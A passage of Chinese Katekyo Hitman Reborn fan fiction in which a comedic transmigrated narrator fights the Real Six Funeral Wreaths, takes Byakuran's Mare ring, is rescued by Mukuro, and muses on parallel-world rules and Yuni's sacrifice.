就像是有羽毛不断地在皮肤上扫来扫去的一样。 就快要忍不住了,好像笑。 再加上“咯吱咯吱”的咀嚼声,有点像石子划过黑板,瘆人。 我浑身难受,实在不想折磨自己,便决定先摆脱了这个封闭的“龙球”再说。 岚火凝成实体,如岩浆流淌在龙与龙的缝隙之中。强烈的腐蚀性强行切开了一道口,我的脚在桔梗的腹部用力一蹬——想要在另外四条腿中把自己的脚抽出来可真不容易——我的后背轻易地突破了半死不活的迅猛龙,半个身子便离开了“龙球”。和我手相连的雏菊猝不及防,头还卡在桔梗的胳肢窝下,手就已经被我带了出来。 都这样了还不放手,他是真有骨气。 我看着冲我龇牙咧嘴的龙牙计上心来——准确的来说,不是我的“计”——抬手一甩,将雏菊的手腕钉在了龙牙上。 最后一个放手的机会。 雏菊却越发用力。 举报,他摸我小手,他想要gay我! “说真的,你的办法还挺好用。”我对着桔梗假笑。 瞬间,他就明白我要做的事了,“等——” 反派死于话多,我一句都不多说。 回答他的,是我拉扯的动作。 “撕拉!” 血、肉、骨分离的声音在“龙球”内回响,这大概也是桔梗想要听到的声音。只不过,他希望的骨肉分离,并不来源于他的敌人,而是来源于他的队友。 ——借用一点龙牙的锋利,切断撕裂他的手腕,并没有想象中的困难。 我手指间扣着雏菊孤零零的手,手指上甚至还带着一个尚未破碎的备用指环,指环上燃着金色的火焰。火焰借由身体内的血管、肌肉和骨骼传递至全身,我甚至能够看到手腕的裂口处,有骨头、肌肉、血液和皮肤一层一层地自主生长。 就像是想要在这只手上,生长出一个新的雏菊一样。 可惜创业未半而中道崩殂,备用指环炸了,它无法承受足够的火焰。 但我却还是忍不住想,如果是用玛雷指环呢,真的会在这只手上,长出一个新的人吗?那么,那个缺了手的雏菊又算什么? 算他占地面积大吧。 在火焰体系里,所有力量来源都于一个指环,这究竟算是人戴着指环,还是,人是指环的载体。 很难界定。 我以前可不会想这么多,但不知怎么的——可能是被千次穿越给折磨的,我突然变成了一个哲学人。 还是最蹩脚的那种。 抛开这些胡思乱想不谈,我和另外一个血淋淋的、隐约还在因为火焰余韵而自我生长的手十指相扣——这个画面属实有些黑暗。 我赶紧把雏菊的手扔掉,向后一翻,用腿部的力量挣脱了捆缚的龙身,脱离了桔梗的“龙球”。 只不过,我似乎有点高估了没有指环后迅猛龙带来的阻力。 这一下拔得太过用力,我直接飞了出去。 穿越返回的位置在低空,所以确切的来说,我在空中被动翻了几个跟斗,还没有飞出去多远,便“咚”的一声,一屁股砸在了地上。 但奇怪的是,完全没有摔在硬物上的实感。 不仅不硬,我晃了晃屁股,甚至还觉得下面软软的。 嗯? 我低头一看,一个软软的、棉花一般的白头就在我的屁股后面。 ……? 似曾相识的头? 是你!白花花! 我屁股底下压着一只白花花! 怎么会是他?! 我的大脑一空,有一个瞬间甚至停止了思考。 我明明是紧跟着红色的那条线,为什么会一屁股坐在白花花的身上。 难道他已经进攻过彭格列基地了? 难道他已经攻破彭格列基地了? 难道他已经夺回岚之指环? 难道我穿越了什么起源墙,时间流逝大法,现在又一个十年后了? 开玩笑的,这个邪恶摇粒绒看上去可没有老十岁。 等等……漫画人物真的会变老吗? 不对,不对。 本来就没有时间流逝这个选项。 玛雷指环代表的是横向的平行线,它无法触及到7^3中属于彭格列的那一角。所以,他所经历的时间和白花花所经历的时间是一样的。 这么短的时间里,他在探查平行世界、影响平行世界的同时,也杀入彭格列基地? ——即使是白花花这样级别的反派,也没有三头六臂。 我从他身上爬起来,他似乎已经失去了意识。但这是大BOSS,我不敢掉以轻心,于是伸出试探的jiojio踢了他两下。 完全没有反应。 不费吹灰之力,我就拿走了他手上的指环。 ……就这?就这!这么容易? 这是什么虎头蛇尾的漫画故事,真的能通过编辑审核发不出来吗? 拜托,这可是大BOSS。 我感觉自己好像跳了好多集的主线内容,拉着进度条就直奔大结局而去。 事实证明不要做坏事,坏事做多了,容易被天降正义。 真·天降。 四周的环境确实是复杂的森林,但我能够嗅到一丝湿咸的海风,这里必然临海。 这里不是并盛。 我马上就得出了结论。 可若不是并盛,这里又是哪里呢? 只能是白花花的藏身之地。 窥探平行世界不是一件容易的事,想要影响平行世界,甚至是把力量送到平行世界,就更难了。 我不断回忆着刚才跨越世界壁垒时的选择。 ——红色,我绝对是选择了红色。 按照世界意识运行的规则,我不应该在这里。 我皱眉,实在是想不通,究竟是哪一步出了问题。 四周的脚步声逐渐密集起来,我看向周围,能够感觉到有人在迅速靠近。 多半是密鲁菲奥雷的人。 哪怕是真六吊花的人,也未必被允许近距离观察白花花窥探平行世界的过程——白花花不喜欢被人看到自己虚弱的样子。 没错,就是虚弱。 穿越世界壁垒,即使只是意识穿越也非常困难。 毕竟人是人,指环是指环,指环可以轻松做到的,拥有指环的人却需要花费很大的力气。 彭格列都没有破坏过真正的规则,即使如此,继承指环所带来的时间规则运行,每次出现都会伴死亡种风险。 即使热血漫中不会表现,但将所有过去灵魂连接在一起的绝对时间环境和白花花穿越空间壁垒的行为一样危险,无法获得先代认可就无法获得彭格列指环的时间庇佑。 会死。 遵守规则的彭格列尚且如此,更何况白花花这个规则破坏者,他试图撕裂空间、破坏规则,自然就要承受规则的反噬。 所以,白花花在使用指环特性前后都会变得异常虚弱——这大概也是他会被我天降正义直接砸晕过去的直接原因。 否则就算被砸,也不该这么不抗揍。 同理,正是因为虚弱,这种特殊时期的他,周围也总需要有人护卫。 启动玛雷指环穿越平行时空的动静很大,火焰会直冲天际,他无法偷偷使用,就必须要防止有人偷袭。 谁让这个世界满是他的敌人。 这些护卫不敢靠得太近,但也不会太远。 没有上级的命令,里面就算闹翻了天他们这些小喽啰也不会靠近。 但,他们的上级也不仅仅是白花花一个人,桔梗、蓝铃和雏菊的三人组不是也回来了吗? 我冲得太过,砸在了白花花的身上。那按照剧情定律,他们掉落在地,一定落在那些小喽啰面前了吧。 如果我没有猜错,这里多半是密鲁菲奥雷的一个大本营。 好家伙,周围全是红名。 果然,下一秒,就有岚枪打了过来——像是科幻电影里的武器,一束光发射轻易地消灭了一棵树 直接点燃成灰的那种“消灭”。 想来杀人也不会有多难。 讲真,我也是身经百战的战士了,战斗对我来说并不算一件难事。 但哪怕是我,在经历了理论化火焰课堂的精神摧残、先后和多个真六吊花混战、穿越、反对白花花入侵、抵抗时空乱流、填补时空裂痕、再穿越、再战斗—— 就算是牛马也得趴下了。 我很少感到如此疲惫。 胳膊上的伤口还流着血,眼前有些发昏。 我扒掉了白花花的衣服包在手臂上止血——不愧是反派BOSS,衣服的材质就是不一样。 伤口确实不疼,但失血过多是另外一个问题。 我一定是受到了影响,主线人物——不论正反都不会怀疑“我”这个存在的真实性,即使世界意识仍然在排斥,但我的实体确实已经在这个世界里有了准确的身份。 正常人应该有的生理反应自然也会影响到我。 B格拉满大BOSS白花花昏于可笑的天降正义,我可不想也和他一样。“世界任我来去自如,我却败于失血过多”什么的,听着都掉价。 说来奇怪的是,我的手脚冰凉。 即使这算是失血的表现——血液不够传递到四肢,但在其他的世界,我从来没有因为失血而出现过这样的症状。 仿佛,我真是要遵循着人类的正常生理结构,马上会死掉了一样。 第119章 应该不是我的错觉吧。 冰冷、困倦、眼前发黑。 哪怕是我同化最严重的时候, 也很少会遇到过这种情况。 真是随时要死掉的感觉。 按理来说不应该的。 难道是真的失血太多,贫血了? 我握紧雏菊的玛雷指环,想尝试模拟一下他的金色火焰。 没有见过的火焰想要单凭想象模拟有些困难, 但刚才雏菊那自我生长的手腕着实让我印象深刻。 太掉san了。 止血并不困难, 龙牙带来的伤口都是一个个圆洞,伤口不大,只是深。 晴之火焰的治疗原理是刺激细胞活性, 有些类似于医疗忍术,只要火焰量足够,治疗不需要技术。 嗯……我本来是这样认为的。 但金色的火焰深入,伤口却没有一点愈合的意思, 反倒是把我的毛燎成了卷毛。 发生甚么事了?为什么会没有效果? 我赶紧摸了摸自己的头发。 “呼——” 我松了口气, 被晴之火焰激活的头发还在。 这说明,不久之前正一的晴之火焰对我的效果,不是我的白日梦。 当时有效,怎么现在不再起作用。 拟态火焰不算火焰吗? 那我刚才用来突破迅猛“龙球”的又是什么? 绝对有问题! 以我无数次被背刺的经验,绝对有什么不为人知的属性叠加在了我身上。 让我看看是谁背刺我? 首先排除主角团, 他们现在还困在时间线里。 大概率是桔梗或者雏菊? ……他们到底都脑补了些什么啊! 世界意识, 你听我一言。我暂时不计较跟红线却飞到白花花身边这点小事,能不能捞捞我, 我真的感觉好困倦, 床铺被子仿佛在召唤我。 但显然,世界意识没有回答我的意思, 反倒是虾兵蟹将们一个个的, 都冲了过来。 他们的实力算不上有多强, 但能被选到白花花身边来, 就至少不能用“小喽啰”来形容——当然了, 他们也都没有姓名。 桔梗紧随其后,他不知道从谁的手上薅下来几个云属性的指环,身上的衣服破破的来不及换,但也正好契合了他修罗开匣的需求。不过雏菊和蓝铃并不在他身旁,应该是在优先恢复和疗伤。 桔梗很清楚,我和真六吊花都打得有来有往,围着我的白魔咒部队用人海战术很难拿下我,只能用作拖延——如果我没有这么疲惫的话。 我甚至感觉自己快要站不起来了,眼前的画面甚至有重影,即使把流血的小洞洞都塞满了衣服来压伤口,但失血过多的休克感还是在阵阵上涌。 挟持白花花的想法在我的脑中一闪而过。 但挟持着他,能跑到哪里去? 他一米八三、七十四公斤沉得要命,这种状态下的我完全拖不动。 总不能一直在这里对峙吧? 时间拖得久了,难保我什么时候就会失去意识,不推荐这种无能狂怒行为。 我忍痛放弃了逮捕白花花、嘲笑白花花的大好机会,只是当着桔梗的面,在他老大的腹部插了一刀,就赶紧抬腿跑路。 正如我所料,看到腹部插刀,昏迷过去的白花花,桔梗虽然愤怒至极,长发根部凝聚的迅猛都炸开了,但他的第一反应仍旧是赶紧救大哥——白花花对他的重要性,远远大于他对我的仇视和密鲁菲奥雷整个家族。 他是为数不多知道白花花穿越内幕的人,知道白花花使用玛雷指环后的状态原本就很差,根本就无法承受这样的捅腹一刀。 我料定他不会用白花花的命来跟我赌。 所以他肯定会优先留在白花花身边。 没有了他,甩掉其他人会相对容易一些。 树林里的地形很复杂,白色的锁链连接在树与树之间形成膨胀,红色的火焰塞满锁链中的空隙间,就能拖住其他人。 我不确定这个花架子现在有多少攻击力、多少防御力,反正看着很唬人,除了桔梗,应该没有谁敢毫无顾忌地冲上来。 够打一个时间差了。 但很快,那种眩晕和头重脚轻便重新占领了我的感知,发黑的视线看不清草丛里潜藏的石头和冒出土地的树根。 我的脚被绊了一下,整个人向前一冲,摔倒在地,彻底失去了意识。 年轻人就是身体好,倒头就睡。 后面的事,我就不知道了。 也不知道是不是熬夜的次数太多,还是失血带来的症状。我感觉自己睡得格外香甜,仿佛泡在冬日的温泉里,意识在水中漂浮。蒸汽升腾,我的意识也随之摆动,摇摇晃晃得更让人困倦。 直到有一块比我脸还大的石头,重重地砸中了我的头。 摇篮般的环境瞬间静止,柔软的水硬化成地,接住了石头的撞击,发出“咚”的声音。 我不是很确定,那是砸我头的声音,还是砸在地面上的声音。 我无暇分析,因为—— 疼死我了! 差点没给我砸晕过去,究竟是谁这么不道德,高空抛物可是有概率坐牢的! 万一砸死我怎么办。 等等,慢着—— 我揉脑袋的手突然顿住了。 疼……? 我差点惊叫出声,怎么会疼,世界意识在我不知道的地方同化了我? 我的认知很清晰,我知道我自己是谁,甚至还详细记得自己学习火焰的失败历程尤其是狱寺那关爱智障的眼神。 虽然想着要利用世界意识的同化走捷径,但我毕竟没有像上个世界一样,主动让世界意识进入我的身体,和我相连。 更何况,我甚至连拟态火焰都变得很差劲,这难道不是距离同化更远了吗? 百思不得其解。 我尝试站起来,地面给我的感觉非常粗糙,像是经历过无数岁月的打磨,坑坑洼洼的,踩上去可真硌脚。 我突然意识到自己没穿鞋,紧接着便继续意识到,自己没穿衣服。 6。 ……我是不是应该震惊一下的? 但我完全没有这种感觉,只有一种“果然如此”的安心。 我就知道,逃是逃不过的。 不会就因为我扒了白花花的衣服,他就扒回来吧? 这也太小气了。 可很快,我就意识到,这里或许和白花花没有关系。 我看到了砸我头的那块石板的全貌。 七个凹槽绕成一个圈,三个圈呈等边三角形,均匀地刻在方形石板表面。 这不是我先前在异世界逼问真六吊花的7^3石板吗? 我看了看手里的玛雷指环,尝试性地将晴和雨的指环放上去,石板的凹槽马上将其紧紧吸住,是磁吸的高级货,完美契合。 契合到,我上手去抠,都完全抠不下来的地步。 仿佛和石板融为一体。 这莫不是在其实穿越者?明明尤尼酱就能轻易把吸上去的彩虹之子奶嘴全部抠下来带走,到了我这里却一个指环都拆不下来。 疑点一,如果我落到白花花手里,他不可能还让我拿着玛雷指环; 疑点二,不论我落到谁手上,7^3都不可能从天而降砸我头,我又不是什么超高校级的幸运。 而且这么重的石头,普通人被砸一下能不能活都两说,我怎么也得出点血以示敬意才对。但我摸过了,只是疼,一点伤口和肿胀也没有。 于是,我冒出了一个想法。 我不会……是在做梦吧? 想想看,在有痛觉的正常世界,在梦中感觉不到痛;反之,在没有痛觉的二次元世界里,做梦就会感觉到痛。 合理,非常合理。 ……好吧,只能算是强行合理。 但除此之外,还有什么更好的解释吗? 7^3的石板上,左下角的凹槽隐隐发亮。我勾着从白花花手里脱下来的大空玛雷,发亮的部分闪烁着同样颜色的微光,仿佛是在吸引我将这一个指环也放上去。 难道,我这么想要收集石板,甚至到了日有所思夜有所梦的地步? 可是,既然都是做梦了,为什么还是只能拥有这三个在现实中被我抢走了的指环? 如果解释为,人不能梦到超出自己想象的东西,那岚之指环不应该也算在我曾经获得过的战利品吗? 我闭上眼睛,用力地想象。 说不定醒来之后就被白花花抓住了,现在先在梦里把所有的指环都梦出来,爽一下也没什么坏处吧。 我使劲努力,如果让风太看到我这个样子,又要给我指厕所了。 但不论我怎么造梦,手上也没有出现其他的指环,就连石榴的岚戒也不行。 按理来说,我的想象力和无中生有的技术是很强的。怎么在自己的梦境当中,反而发挥不出来? 我感到一阵奇怪,抱起石板打算研究一下——嗯?我竟然抱不动? 岂有此理!我在自己的梦里,竟然抱不动一块破石头!? 我摆好架势,气沉丹田,手放在石板两边,用力一提! 石板虚化,我的手直接穿了过去。 “砰!” 过度用力的心理预期,让我向后栽倒。 “啊——!” 我猛一睁眼,醒了。 惊醒。 盗梦空间诚不欺我,失重才是梦醒的关键。 我回过神来,看着眼前茫茫无边际的大海和身下的一叶扁舟。 不会还是在做梦吧? 我使劲捏了自己一下。 “你没有在做梦,”身后传来一个声音,“你苏醒的速度,比我想象当中还要快。” 我扭头,这才看到船尾处坐着一个蓝色凤梨头青年。 “纲不吉君。” ……噗,憋笑好难。 怎么觉得给自己起这个名字,是在折磨我自己。 “六道骸。” 关键词“凤梨头”,这个人物特征,想认不出来都难。他自己根本就不知道出他的COS有多费劲,那个写着“六”的美瞳,动不动就滑片,每次拍照前都要调整字的方向。 后来我学会了,PS真是个神器。 “你救了我?”我问。 他没有正面回答,脸上的笑容扩大,饶有兴致地看着我,“单人击退真六吊花,又深入密鲁菲奥雷总部,从白兰·杰索手上劫走他的玛雷指环——你可真是太有趣了,纲不吉君。” 小小成就,不足挂齿。 还有好多成就都没有cue到呢,我不能白干活,是不是该趁此机会好好自夸一番? “冒昧地问一句,能取走大空指环的你,是已经杀了白兰吗,纲不吉君。” 有这个问题,就是没和密鲁菲奥雷的人碰过头的意思了吧? 这话说的,要是都得杀了宿主才能夺走指环,那我手上还有另外两个指环,你怎么不问问桔梗和雏菊的死……活…… 我抬手,突然看到手上孤零零地只挂着一个大空橘的玛雷指环了。 另一只手上更是空荡荡的,没有任何装饰。??? 我的云、晴两个玛雷指环呢,我那么大两个战利品去哪里了! 我瞪着眼睛看六道骸,直勾勾地视线让他摸不着头脑。 “有什么问题吗,纲不吉君?” 有,但别每一句话后面都跟一个“纲不吉君”,一本正经的样子,我总有一次会绷不住。 “其他指环呢?”我一动不动地盯着他。 六道骸眉毛一挑,“还有其他指环?” “没有吗?” “有吗?” “没有吗!” “有吗?” “当然有!”我盯着自己的右手,看向六道骸的视线充满了怀疑,他这个人前科多得很,“云和晴。” 我甚至为此撕掉了雏菊的手,见证了晴之活性的厉害。 六道骸审视的目光在我身上滑动,像是在评估我言语的真实性。 我坦诚地任他打量。 半晌,他摇摇头,“我捡到你的时候,你手上就只有一个指环。” 真的吗,我不信。 像是看出了我的毫不掩饰的怀疑,他摊开手,性感火辣皮手套上,只有一个B级指环,一个地狱指环,“我有什么需要欺骗你的理由吗?” 他是雾属性,无法使用其他属性的指环。而且大家暂时都身在彭格列这一阵营,可爱的库洛姆现在还在时间线上受困,他多半也束手无策,再加上玛雷指环也没有操纵时间线的能力…… 确实,他没必要说谎、没必要偷走指环藏起来。 那指环呢? 如果碰上密鲁菲奥雷的人,只拿走两个指环,给我留一个最重要的大空属性是什么意思? 我突然想到了自己做的那个无厘头的梦、那块7^3的磁吸石板,和我亲手放进去的两个指环。 瞳孔地震,那不会——不只是个梦吧? 六道骸敏锐地注意到了我的神色,“看来你是有什么头绪了?” 有,但我自己还没有想通。 白花花应该没有入梦的技能?也应该没有隔梦取物的技能? 但他有夺走尤尼酱灵魂的前科,那算是精神类的攻击吗,能够转化成这种力量吗? 不,不应该是白兰。 如果他有这种能力,还费劲找主角团干什么,直接做梦不就通杀了吗? “我身上有什么雾属性能力的痕迹吗?有人操控过我的精神吗?”说起梦境,果然还是得考虑幻术因素,幻觉、幻境,还有最重要的,能够和现实交织的虚幻“有幻觉”。 拗口的名字增加了。 白花花的大空属性是没有这种能力的,这些都是雾属性的能力。而恰巧,六道骸就是个六世轮回的幻术大师,基本上处于全设定中的天花板位置。 六道骸都没有犹豫一秒,即答,“没有。” 没有施法前摇? 老实交代,你不会是趁我睡觉的时候对我做了什么吧,怎么回答得这么快。 “你的身体……很特殊,”他说道,“你的伤口太大,我尝试用‘有幻觉’帮你修复身体,但雾的力量无法在你的身体内起效。” 就像我拟态的晴之火焰一样? 我看了看自己胳膊上被包扎好的伤口。 也就是说,晴的活性属性没能治愈我,不是我的拟态技术问题,而是全专业失效。 错的不是我,而是这个世界——字面意义上的“世界”,即使我还不确定具体细节,但这种变化,一定和世界意识有关。 六道骸身体前进,眼神上下打量着我的身体,让我毛骨悚然。 ——推荐纲吉,不推荐纲不吉。 “有趣的是,这样的贯穿伤、撕裂伤,失血过多的休克症状。又没有消毒、没有药物、没有晴火——没有任何治疗手段,却丝毫不危及性命,甚至快速清醒、活蹦乱跳,真是那个雏菊一样可怕又异常的生命力。” 首先,和雏菊不一样,其次,你一个轮回六世的老妖怪没资格说我可怕。 而且,我当时真是第一次有生命遭受威胁的感觉。 那种冰冷感才可怕。 “现在的你应该只是个幻影吧,”我不想在自己的身体问题上纠缠,反客为主。时间线来说,六道骸现在还只是个凤梨罐头,“怎么会出现在这里?” 我准确想问的是,他怎么会接到我的? 我当时昏在了森林中,即使暂时摆脱了追兵,可密鲁菲奥雷的部队都有飞行鞋,哪怕不敢正面冲也可以升空绕开,应该很快就能找到我。 六道骸必须得非常及时才能把我接走。 及时,就意味着要么好运,要么早有准备——我认为他一定是后者。 只见他邪魅一笑——真的,除了邪魅找不出第二个形容词,他甚至还伸手捂住了一只眼睛。 好抽象,不对,好中二。 正常说话为什么要突然摆pose。 不愧是你,六道骸。 “因为我一直都在白兰身边。” 背后灵? 我嘴角一抽,下意识地问,“洗澡上厕所也在?” “……?”六道骸的表情僵住了。 这反应是因为看了而尴尬,还是因为没看而尴尬? “咳——这个幻觉的力量,原本是打算用在选择战里的,但我可爱的库洛姆并没有出场。” 他跳过了我的真诚发问,还回避了我求知的视线,我觉得他不会放过白花花身上的任何一个细节。 这个背后灵这么尽职尽责——那我想知道白花花这样的B格大BOSS到底上不上厕所。 “既然没有出场机会,我的力量就一直潜伏在了白兰身边。” 他的话倒让我想起来,选择战力,好像确实是有一个六道骸断后的剧情。 是我记忆混乱了吗,我怎么觉得,他的雾力应该是依附在库洛姆的身上呢? “白兰没有发现你?” “那就得感谢你了,纲不吉君。大概是你的突然出现把白兰扇懵了,我才有机会从可爱的库洛姆身上,转移到白兰附近潜伏。” 说起这件事,我举手,“所以,你之前一直都是库洛姆的背后灵。六世轮回哥,你不会偷窥人家小女孩洗澡上厕所吧?” 毕竟库洛姆的内脏需要六道骸的“有幻觉”维系,他们是共生关系,所以会联系在一起很正常。 而且设定上的六世轮回,六道骸自己应该也做过女生。 所以果然,他是男妈妈! 六道骸的脸一下子就扭曲了,我甚至能感觉实体的黑雾从他的背后散发开来。 识时务者为俊,我马上给自己的嘴巴做了一个拉链的动作。 毕竟人家救了我,我得收敛一点。 “咳——抱歉,只是有点好奇,”我揉了揉鼻子,赶紧转移话题,“白兰没死,但没有了好几个指环,实力肯定大减。并盛的情况怎么样,彭格列基地的情如何。” “你单枪匹马把真六吊花处理掉了,其他人当然就没那么难对付。不过现在,既然你抢走了白兰的指环,接下来密鲁菲奥雷家族的重心就要进一步倾斜、会抽调一切力量全力进攻彭格列。”毕竟指环是家族核心,白花花自己也非常依赖平行时空,六道骸故意一顿,“并盛剩下的那点儿战力,只怕一天都撑不住。” 他这样说着,语气却并不沉重,反倒是胸有成竹。 我脑子一转,“但为什么要回并盛呢?既然指环在我手里,那我出现在哪,密鲁菲奥雷就会追到哪,主动权在我手上。” 只要我不回并盛,密鲁菲奥雷就不会分神去那里攻击。 大空指环的优先级可比岚之指环要高多了。 六道骸没有和密鲁菲奥雷相遇,那桔梗多半没有见到把我接走的人。在他眼里,我悄无声息的全身而退,绝对是个难对付的敌人。原本欧洲战场就被特殊暗杀部队瓦里安牵制着,要是再在我和彭格列身上分心,很容易双输。 以他的视角来看,利用并盛剩下的老弱病残来威胁的手段也很难奏效。我本质上不属于彭格列家族,在对付他们真六吊花三人组的时候,秉持的也是争夺指环、争夺7^3磁吸石板的第一目的。 他不会选择攻击并盛,只会选择来追我。 “没错,而密鲁菲奥雷的眼线遍布全世界。”六道骸颇有暗示性地说道。 眼线多,意味着信息传递快。 我领会了他的意思,“而那些小兵,恐怕无法看穿你这个幻术大师的幻觉吧?” “当然。”六道骸没有任何谦逊的意思,“只要我的本体能离开复仇者监狱。” 懂了,天下没有白吃的午餐,这是撺掇着我去劫狱了吧。 第120章 出乎预料的是, 凤梨罐头已经出罐了。 按照六道骸的说法,白花花亲自和复仇者监狱做了交易,要放一个重刑的罐头囚犯出来。 当然, 想也知道白花花想放的不是六道骸, 但六道骸的小徒弟钻了空子。 白花花,用交易换出了一个棘手的敌人,不知他此时的心情如何。 他没有把Ghost从罐头里放出来……不对。 我幸灾乐祸的笑声戛然而止, “等一下,嘶——” “也就是说,白花花还没有他的‘雷之守护者’放出来?”我瞪大了眼睛。 “当然没有,复仇者监狱——尤其是最底层的监狱会接受的交易并不多。失败一次, 就算是密鲁菲奥雷家族的首领白兰·杰索, 想要再重启一次交易,恐怕也要等一段时间了。” 特别是,白花花还遭受了重击了,丢了玛雷指环。 无形之中,我和六道骸打了一波配合, 白花花现在可能都还不知道, 自己的交易便宜了别人。 但问题在于,如果白花花的雷之守护者还在罐头里, 那我平行时空看到的那个撕裂世界壁垒的力量, 究竟属于谁? 白花花的雷之守护者极其反常规,那大概是白花花本人对平行世界规则最严重的一次违反——他把平行世界的自己, 拉入了这个世界。 当然, 一山难容两个邪恶摇粒绒。同位体白花花势必要和主线世界的正主白花花做出区分。比如, 跨越了平行线的只是一个同位体壳子没有灵魂;比如因为世界之间不同的规则压制, 使同位体花难以产生理智, 白花花不予以控制便会进行几乎无差别的攻击,故而被关入了复仇者监狱;再比如,这个同位体花的力量属性,在“规则”的排异下转变,由原本的大空,变成了雷。 但这种手段,白花花应该只能成功一次。 八兆亿的平行时空形成了我所见过的、最敏感、最内卷的世界意识和世界规则。只要白花花有过一次出格,世界意识就会迅速填补上这个窟窿,杜绝新的bug产生。 我这世界之外的力量都很难钻空子,白花花这体制内的力量就更难了。 说到底,7^3原本就是世界规则的组成部分,它是世界意识最重要的组成部分、很大程度上影响着世界意识的同时,7^3的拥有者也是体制内最容易被规则辖制的存在。 按照我的判断,把其他的同位体拉入这个世界的行为,在这个世界应该只能发生一次。 可若如此,Ghost——这个白花花的同位体,名义上的雷之守护者,根本就没有被放出来过。 我当时,用锁链限制的那一团惊雷,究竟是哪里来的力量? 我的脸色大变显然也牵动了六道骸的神经,他正经起来,问,“纲不吉君,有什么问题吗?” 我都没心思觉得他叫我“纲不吉”招笑了。 “你说Ghost没有离开过复仇者监狱,但我在平行时空里,却已经见过Ghost了。”我舔了舔嘴,仔细地在记忆中深挖,“我也和他战斗过,他和白兰一样,拥有穿越时空的能力。” 是我看错了吗? 我没有看错。 即使不算这一次补天事件,那让我穿越家教世界的根源——二次元穿越司受到的攻击,那几乎有完整形态的Ghost…… 总不能是我看走眼了两次吧。 如果不是白花花,那会是谁? 还有谁? “也许白兰·杰索拉来的‘助力’不止一个他呢?”六道骸猜测道。 我已经盘过逻辑,马上摇头,“世界有自己运行的规则,绝不可能。”我没有细说原因,想要和他把世界意识和世界规则的逻辑盘明白太麻烦了,要补好多设定给他。 我暂时没有自爆的打算。 六道骸很聪明,他意识到了我在回避这个答案的解释,便也没有过于纠缠,满眼复杂不知道在想些什么。 很快,他说了个其他猜测,“或者其他世界的白兰·杰索也做过和我们这个世界的白兰·杰索一样的事呢?” 也即,其他世界的白花花,也有可能召唤过自己的同位体作为守护者。 乍一听似乎是一种可靠的猜测,但我还是摇头否定了。 “你是十代家族里唯一一个没有经历时间穿越的人,你应该最清楚,所有平行世界的白兰都已经获得了胜利。”获得了胜利,游戏都通关了,攻略还有什么意义。 六道骸是唯一一个因为泡罐头而没有穿越的守护者,也是唯一一个真正了解十年后世界格局和状况的人。 “胜利不是更容易放肆了吗?”他问。 是啊,放肆。 白花花确实是在自己的世界方式。 “像白兰这种人,走到胜利的终点后很快就会因为无趣而走向毁灭。我穿越了无数平行时空,每一个都被白兰自己毁掉了。”我想起了那些毫无生机的世界,如果不是因为平行世界之间存在联系,那些被毁灭的世界早就坍塌了,“不仅仅是世界,他将自己也毁灭了。” 就是因为那么多自我毁灭的白花花,这个主世界白花花才有机会把其他世界的同位体拉过来,变成自己的工具。 否则,大家都是邪恶摇粒绒,谁有比谁高贵呢。 不控制就无差别攻击的属性,说不定就是来源于同位体花的拉着世界同归于尽的毁灭本能。 “是吗?”六道骸眼睛一眯,危险的红光一闪而过,“如果是我的话,只是毁灭一个世界可满足不了。” 我愣了一下,“哈?” “既然在一个单一世界已经找不到任何乐子,甚至连生存本身都变成了一件无聊的事。那不论是毁灭一个世界,还是带着其他世界一起毁灭,其实都无所谓吧。后者说不定还更有趣,”六道骸控制的小船已然靠岸,“不要告诉我,白兰·杰索这样的人,还有同位体爱这种事。” 倒是没说错,寻找更高维度的乐趣是白花花的追求;既然都要毁灭了,那不如让毁灭来得更刺激一点,也确实符合白花花的人设。 “话虽如此,可那却不是他一个人的力量能做到的。他尝试过激发7^3石板的力量,尝试了八兆亿次,但他不是每个世界都失败了吗?” 而且,我还是感觉到哪里不对。主世界具有唯一性,这里的变化是其他任何平行世界的都没有的。 比如彭格列匣子和彭格列指环的时间属性使用,比如被尤尼酱激发的彩虹之子奶嘴。我坚信,7^3存在某种平衡,彭格列和彩虹之子在这个世界都表现出了自己的特性,这个世界的白花花也一定做到了一些其他世界同位体没有做到的事。 比如利用自己的同位体。 “还有一个不容忽略的事实,现在已经没有‘其他世界’可言,这个世界以外,已经不应该有任何干扰因素。我的见到的,一定是这个世界的Ghost。” ……或至少,蓝本来源于这个世界的Ghost。就像我的拟态能力,也需要蓝本才能更好的执行。 我脑中无端闪过那个奇怪的梦,那个在梦中取走了指环的7^3石板,还有莫名改变的穿越落点,以及那顺利到可笑的“天降正义。 背后好像有一只无形的手,推动了一切。 我就像是一颗棋子一样,被随意摆弄。 沿着这个思路回溯,回溯到最初,家教世界最原始的穿越疑点。那个八兆亿分之一的概率,将我在恰当的时候引入这个世界的巧合——我的穿越“向导”。 “我一直想,尤尼为什么会在那个时候出现。”我摩挲着手指。 如果从漫画的角度来考虑,主角团失败了,他们当然不能把彭格列指环交出去,他们需要一个重新开始的机会。 正一提供机会,尤尼酱捍卫这个机会,这是顺理成章的剧情。 甚至从世界内的逻辑来说,尤尼酱趁白花花和真六吊花专注于选择战的空档,将彩虹之子的奶嘴从7^3石板上取下来,也说得通。 那么问题来了,尤尼酱是知道这个完美时间点的呢? 一个绝无仅有的选择战契机,真六吊花防守松懈,让她能接触到7^3石板、带走奶嘴,并直接接触Reborn和纲吉,顺利获得庇护的完美契机。 她的灵魂一直在其他平行时空躲避。 白花花会一直严格地控制她、操纵她,这意味着她的灵魂几乎很难有机会回到这个世界。即使有机会偶尔停留,也不会有人将白花花选择战的完整计划告诉她。 她一直在其他平行时空之间不断跳跃,多次跳跃——这是在启动并盛穿越机,回去刷副本之前,尤尼酱自己在彭格列基地说的话。 为什么要多次跳跃? 因为白花花在搜捕她的灵魂,因为世界在一个接一个的毁灭,哪里都没有她的容身之所。 重新激发彩虹之子奶嘴的计划,不仅会伴随着尤尼酱本人的牺牲,也相当于她主动放弃了基里奥内罗家族所有成员的性命。 也许白花花会把她的家族成员一个个斩杀以逼她现身,甚至可能会折磨他们——这些都是可以预见的未来。 直面死亡需要巨大的勇气,背负挚爱的家族的灭亡需要更大的勇气。这也是这么多平行时空中,尤尼酱只在主世界做出了这样决定的原因。 尤尼酱一定看到了无数个毁灭的世界,一定已经知道所有其他可能存在的选择,所以才最终下定决心,要做出这种牺牲。 当然,这并不是在说,尤尼酱能奇妙的卡中完美奇迹,她就是什么幕后黑手了。相反,不论时机有多恰巧,她的所有行动都非真正意义上的主动行为。 正如我所想,除了主线世界之外,已经没有其他“活着”的世界——没有其他可供尤尼酱参考的世界,甚至没有更多落脚的选择。 所以,尤尼酱的灵魂才不得不在返回对她最危险的主世界,做出了对她来说最艰难的决定。 